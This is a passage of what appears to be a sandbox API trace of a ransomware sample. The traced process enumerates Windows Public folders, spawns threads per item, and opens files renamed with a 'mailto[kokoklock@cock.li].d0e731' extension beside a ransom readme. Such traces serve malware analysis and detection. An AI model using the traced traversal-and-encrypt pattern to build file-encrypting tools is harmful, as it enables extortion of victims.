(_String1="My Music", _String2="..") returned 1 [0165.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa1360 [0165.978] wcscpy (in: _Dest=0x2fa1360, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0165.978] wcscat (in: _Dest=0x2fa1360, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0165.978] wcscat (in: _Dest=0x2fa1360, _Source="My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0168.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0168.171] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0168.171] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0168.171] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0168.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f6ae98 [0168.171] wcscpy (in: _Dest=0x2f6ae98, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0168.171] wcscat (in: _Dest=0x2f6ae98, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0168.171] wcscat (in: _Dest=0x2f6ae98, _Source="My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0168.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6ae98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0168.171] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0168.171] wcscmp (_String1="My Videos", _String2=".") returned 1 [0168.171] wcscmp (_String1="My Videos", _String2="..") returned 1 [0168.172] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa12c0 [0168.172] wcscpy (in: _Dest=0x2fa12c0, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0168.172] wcscat (in: _Dest=0x2fa12c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0168.172] wcscat (in: _Dest=0x2fa12c0, _Source="My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0168.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa12c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0168.172] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0168.172] FindClose (in: hFindFile=0x2fe3f88 | out: hFindFile=0x2fe3f88) returned 1 [0168.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0168.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3988) returned 1 [0168.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d88) returned 1 [0168.173] RtlExitUserThread (Status=0x0) Thread: id = 1593 os_tid = 0xfc0 [0165.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2fe39c8 [0165.978] wcscpy (in: _Dest=0x2fe39c8, _Source="C:\\Users\\Public\\Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0165.978] wcscat (in: _Dest=0x2fe39c8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0165.978] wcscat (in: _Dest=0x2fe39c8, _Source="*" | out: _Dest="C:\\Users\\Public\\Downloads\\*") returned="C:\\Users\\Public\\Downloads\\*" [0165.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0165.978] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3fc8 [0165.978] wcscmp (_String1=".", _String2=".") returned 0 [0165.978] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.978] wcscmp (_String1="..", _String2=".") returned 1 [0165.978] wcscmp (_String1="..", _String2="..") returned 0 [0165.978] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.979] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.979] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.979] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0165.979] FindClose (in: hFindFile=0x2fe3fc8 | out: hFindFile=0x2fe3fc8) returned 1 [0165.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0165.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe39c8) returned 1 [0165.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3e88) returned 1 [0165.979] RtlExitUserThread (Status=0x0) Thread: id = 1594 os_tid = 0xfc4 [0165.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2fe39c8 [0165.980] wcscpy (in: _Dest=0x2fe39c8, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0165.980] wcscat (in: _Dest=0x2fe39c8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0165.980] wcscat (in: _Dest=0x2fe39c8, _Source="*" | out: _Dest="C:\\Users\\Public\\Libraries\\*") returned="C:\\Users\\Public\\Libraries\\*" [0165.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0165.981] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8460461d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8460461d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3fc8 [0165.981] wcscmp (_String1=".", _String2=".") returned 0 [0165.981] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8460461d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8460461d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.981] wcscmp (_String1="..", _String2=".") returned 1 [0165.981] wcscmp (_String1="..", _String2="..") returned 0 [0165.981] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8460461d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8460461d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8460461d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.981] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.981] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.981] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.981] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.981] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.981] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x8460461d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RECORD~1.D0E")) returned 1 [0165.981] wcscmp (_String1="RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.982] wcscmp (_String1="RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.982] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f6e340 [0165.982] wcscpy (in: _Dest=0x2f6e340, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0165.982] wcscat (in: _Dest=0x2f6e340, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0165.982] wcscat (in: _Dest=0x2f6e340, _Source="RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" [0168.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0168.168] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x8460461d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RECORD~1.D0E")) returned 0 [0168.168] FindClose (in: hFindFile=0x2fe3fc8 | out: hFindFile=0x2fe3fc8) returned 1 [0168.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe39c8) returned 1 [0168.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3ec8) returned 1 [0168.169] RtlExitUserThread (Status=0x0) Thread: id = 1595 os_tid = 0xfc8 [0165.982] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x30131a0 [0165.982] wcscpy (in: _Dest=0x30131a0, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0165.982] wcscat (in: _Dest=0x30131a0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0165.982] wcscat (in: _Dest=0x30131a0, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\*") returned="C:\\Users\\Public\\Music\\*" [0165.982] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0165.982] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3848 [0165.983] wcscmp (_String1=".", _String2=".") returned 0 [0165.983] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.983] wcscmp (_String1="..", _String2=".") returned 1 [0165.983] wcscmp (_String1="..", _String2="..") returned 0 [0165.983] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.983] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.983] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.983] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0165.983] FindClose (in: hFindFile=0x2fe3848 | out: hFindFile=0x2fe3848) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30131a0) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013638) returned 1 [0165.983] RtlExitUserThread (Status=0x0) Thread: id = 1596 os_tid = 0xfcc [0165.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3a08 [0165.984] wcscpy (in: _Dest=0x2fe3a08, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0165.984] wcscat (in: _Dest=0x2fe3a08, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0165.984] wcscat (in: _Dest=0x2fe3a08, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\*") returned="C:\\Users\\Public\\Pictures\\*" [0165.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0165.984] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3848 [0165.984] wcscmp (_String1=".", _String2=".") returned 0 [0165.984] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.984] wcscmp (_String1="..", _String2=".") returned 1 [0165.984] wcscmp (_String1="..", _String2="..") returned 0 [0165.984] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.984] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.985] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.985] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0165.985] FindClose (in: hFindFile=0x2fe3848 | out: hFindFile=0x2fe3848) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a08) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3f08) returned 1 [0165.985] RtlExitUserThread (Status=0x0) Thread: id = 1597 os_tid = 0xfd0 [0165.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2fe3a08 [0165.986] wcscpy (in: _Dest=0x2fe3a08, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0165.986] wcscat (in: _Dest=0x2fe3a08, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0165.986] wcscat (in: _Dest=0x2fe3a08, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\*") returned="C:\\Users\\Public\\Videos\\*" [0165.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0165.986] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3848 [0165.986] wcscmp (_String1=".", _String2=".") returned 0 [0165.986] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.986] wcscmp (_String1="..", _String2=".") returned 1 [0165.986] wcscmp (_String1="..", _String2="..") returned 0 [0165.986] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.986] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.986] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.986] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0165.986] FindClose (in: hFindFile=0x2fe3848 | out: hFindFile=0x2fe3848) returned 1 [0165.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0165.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a08) returned 1 [0165.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30136a8) returned 1 [0165.987] RtlExitUserThread (Status=0x0) Thread: id = 1598 os_tid = 0xfd4 [0165.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, 